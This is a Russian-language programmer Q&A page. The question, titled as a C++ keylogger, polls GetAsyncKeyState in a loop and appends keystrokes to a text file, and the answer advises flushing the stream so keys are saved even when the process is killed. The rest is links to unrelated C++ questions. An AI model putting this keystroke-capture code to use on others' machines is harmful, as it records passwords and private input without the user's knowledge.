fstream c++ keylogger

311
26 апреля 2019, 12:40

Есть зацикленная функция, которая записывает нажатия клавиши в txt файл.

ofstream fout("C:/Users/olegs/Desktop/tester.txt", ios_base::app);
void keyLog()
{
    for (int i = 0; i < 255; i++)
    {
        int state = GetAsyncKeyState(i);
        if (state == 1 || state == -32767)
        {
            fout << char(i);
        }
    }
}

Но записывает клавиши в файл только в случае закрытии программы через крестик консоли. Если закрыть программу через диспетчер задач или другим способом файл останется пустым. Как сделать что бы записывалось в любом случае?

Answer 1

Это потому что вывод кэшируется, и кэш сбрасывается на диск только по необходимости или при закрытии файла. Используйте функцию flush потока чтобы сбросить кэш принудительно.

READ ALSO
Зачем нужны типы?

Зачем нужны типы?

Для чего вообще нужны типы в языке? Разве не проще было бы писать везде auto или вообще не указывать ничего перед именем переменной?

190
Тип указателя на член класса

Тип указателя на член класса

Какой тип имеет указатель на член класса? Другими словами, что нужно подставить здесь, чтобы работало? Очевидное int* не работает

177
lower_bound и iterator

lower_bound и iterator

не знаю как заставить это работатьперепробовал уже все варианты (auto, iterator, const_iterator)

156
Поиск библиотеки для распаковки данных

Поиск библиотеки для распаковки данных

Есть задача распаковать данные, запакованные с помощью zlib и это делается всего одной функцией из этой библиотекиНо если у меня из всей библиотеки...

158